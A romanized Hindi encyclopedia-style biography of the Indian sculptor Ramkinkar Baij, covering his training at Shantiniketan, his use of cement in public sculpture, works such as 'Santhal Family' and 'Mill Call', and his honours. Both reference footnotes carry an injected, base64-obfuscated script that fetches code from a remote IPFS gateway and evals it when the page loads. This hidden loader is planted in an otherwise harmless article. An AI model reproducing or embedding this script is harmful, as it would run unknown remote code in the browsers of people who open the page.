रामकिंकर बैज
ramakiankar baij
| |
| poora nam | ramakiankar baij |
| janm | 26 mee, 1906 |
| janm bhoomi | baankura, bangal, bharat |
| mrityu | 2 agast, 1980 |
| mrityu sthan | pashchim bangal |
| karm bhoomi | bharat |
| karm-kshetr | bharatiy moortikala |
| puraskar-upadhi | 'padm bhooshan' (1970) |
| nagarikata | bharatiy |
| any janakari | varsh 1925 mean ramakiankar baij ne shaantiniketan sthit kala vidyalay yani kala bhavan mean apana pravesh sunishchit kiya aur isake sath hi nandalal bos ke margadarshan mean anek barikiyaan sikhian. |
ramakiankar baij (aangrezi: Ramkinkar Baij, janm- 26 mee, 1906[1]; mrityu- 2 agast, 1980) bharat ke prasiddh moortikar the. adhunik bharatiy moortikala ke agradootoan mean unaki ganana hoti hai. 'sanbhal parivar', 'mil k aaul', 'mahatma budh', 'mithun', 'sujat' v 'raviandr nath taigor ka avaksh' (potret) adi unake pramukh moortishilp haian. apane dridh sankalp se vah bharatiy kala ke pratishthit praranbhik adhunik kalakaroan mean se ek bane the. bharatiy kala mean unake atuly yogadan ke lie varsh 1970 mean bharat sarakar ne unhean padm bhooshan se sammanit kiya.
parichay
ramakiankar baij ka janm 26 mee, 1906 ko pashchim bangal ke baankura mean ek arthik aur samajik roop se vipann parivar mean hua. unako adhunik bharatiy moortikala ka janak bhi kaha jata hai.
shiksha
varsh 1925 mean unhoanne shaantiniketan sthit kala vidyalay yani kala bhavan mean apana pravesh sunishchit kiya aur isake sath hi nandalal bos ke margadarshan mean anek barikiyaan sikhian. shaantiniketan ke mukt evan bauddhik mahaul mean unake kalatmak kaushal aur bauddhik kshitij ko ne ayam mile tatha is prakar se unhhean apane jnan mean aur bhi adhik gaharaee evan jatilata prapt huee. kala bhavan mean apani padhaee poori karane ke turant bad hi ve sankay ke ek sadasy ban ge aur phir unhhoanne nandalal bos aur binod bihari mukharji ke sath milakar shaantiniketan ko ajadi-poorv bharat mean adhunik kala ke sabase mahatvapoorn keandroan mean se ek banane mean mahatvapoorn bhoomika nibhaee.[2]
kala shaili
ramakiankar baij ki yadagar moortiyaan sarvajanik kala mean pramanit mil ka patthar haian. bharatiy kala mean sabase pahale adhunikatavadiyoan mean se ek ramakiankar ne yooropiy adhunik drishy bhasha ki shaili ko atmasat kiya, lekin isake bavajood vah apane hi bharatiy moolhyoan se gahare roop se ju de hue the. unhhoanne pahale alankarik shaili evan bad mean bhavatmak shaili aur phir vapas alankarik shaili mean poori bekarari ke sath anaginat prayog kie. unaki thim manavatavad ki gahari samajh aur manushy evan prakriti ke bich parashparik nirbharata vale sanbandhoan ki sahaj samajh se ju di hoti thian.
apani peantiang evan moortiyoan donoan mean hi unhoanne prayog ki simaoan ko ne shtaroan par pahuancha diya aur isake sath hi nee samagri ka khulakar upayog kiya. udaharan ke lie, unake dvara aparanparagat samagri jaise ki apani yadagar sarvajanik moortiyoan mean kie ge simeant kankrit ke upayog ne kala ke kshetr mean apanaee jane vali prathaoan ke lie ek nee misal pesh ki. pratimaoan ko behatarin banane ke lie unamean simeant, letarait evan gare ka upayog aur adhunik pashchimi evan bharatiy shastriy-poorv moortikala moolyoan ka samavesh karane vali abhinav niji shaili ka ishtemal donoan hi saman roop se vilakshan the.[2]
pramukh moorti shilp
ramakiankar baij ke mukhy moorti shilpoan mean shamil haian- 'sanbhal parivar', 'mil k aaul', 'mahatma budh', 'mithun', 'sujat' v 'raviandr nath taigor ka avaksh' (potret) adi.
mil k aaul
is moorti shilp ki rachana san 1956 mean ramakiankar baij dvara ki gee jo ki shaantiniketan mean sthapit hai. isaka dhaancha banane mean lohe ka upayog kiya gaya tatha jis par akar banane hetu simeant bajari ka upayog kiya gaya. is smarkim moorti shilp mean do striyoan v balak ko tej gati se jate hue darshaya gaya hai. ye chaval ki mil mean kam karane vali majadoor striyaan haian jinako mil ke saman ki avaj sunaee di jisase ve mil ki taraph prasthan kar rahi haian. inake pas kap de sukhane ka bhi samay nahian hai. isalie vah dau date hue kap de sukha rahe haian. tej gati dikhane ke lie striyoan ke vastroan ko u date hue pairoan se mitti ko uchhalate hue pradarshit kiya gaya hai. ek stri ko age ki or dekhate hue doosari stri ko pichhe ki or dekhate hue dikhaya gaya hai. balak ka mukh oopar ki or dekhate hue dikhaya gaya hai. is moorti shilp mean kalagat drishti se gati prabhav lavani vah praman adi ka samavesh shreshth roop se kiya gaya hai.[1]
santhal parivar
is moorti shilp ki rachana san 1938 mean shaantiniketan mean ki gee, jisamean ek sath parivar ke ek purush v ek mahila ko dikhaya gaya hai. mahila ke baean hath mean ek shishu jabaki purush ke baean kandhe par b da kaanvar hai, jisake age ki taraph vali tokari mean ek shishu ko baithe hue dikhaya hai. jisake bhar ko santulit karane ke lie pichhali tokari mean saman rakha dikhaya gaya hai. sath hi ek kutte ko dikhaya hai. mahila ke sir par tokari v dari-patti rakhe dikhaya gaya hai. yah shilp adam kad se dedh guna b da hai. prastut moorti shilp mean janajati krishak garib sanbhal parivar ka jivan prastut kiya gaya hai jo jivikoparjan hetu ek sthan se doosare sthan par jate hue dikhaya gaya hai.
samman v puraskar
vaise to ramakiankar baij ki kalakritiyoan ko shuruat mean lokapriy hone ke lie tho da iantajar karana p da, lekin dhire-dhire vah rashtriy aur aantarrashtriy donoan hi shtaroan par logoan ka dhyan khianchane mean kamayab hone lagian. unhean varsh 1950 mean sailon des relitis noovels aur varsh 1951 mean sailon de maee mean bhag lene ke lie amantrit kiya gaya. unhhean ek ke bad ek kee rashtriy sammanoan se navaja gaya. varsh 1970 mean bharat sarakar ne unhean bharatiy kala mean unake amoolhy yogadan ke lie padm bhooshan se sammanit kiya. varsh 1976 mean unhean lalit kala akadami ka ek phelo banaya gaya. unhhean varsh 1976 mean vishv bharati dvara manad d aauktaral upadhi ‘deshottam’ se aur varsh 1979 mean ravindr bharati vishvavidyalay dvara manad di.lit se sammanit kiya gaya.[2]
mrityu
kolakata mean kuchh samay tak bimar rahane ke bad ramakiankar baij 2 agast, 1980 ko apani aantim evan anant yatra par nikal p de.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 ramakiankar baij ki jivani (hiandi) fineartist.in. abhigaman tithi: 04 aktoobar, 2021.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 ramakiankar baij (hiandi) pib.gov.in. abhigaman tithi: 04 aktoobar, 2021.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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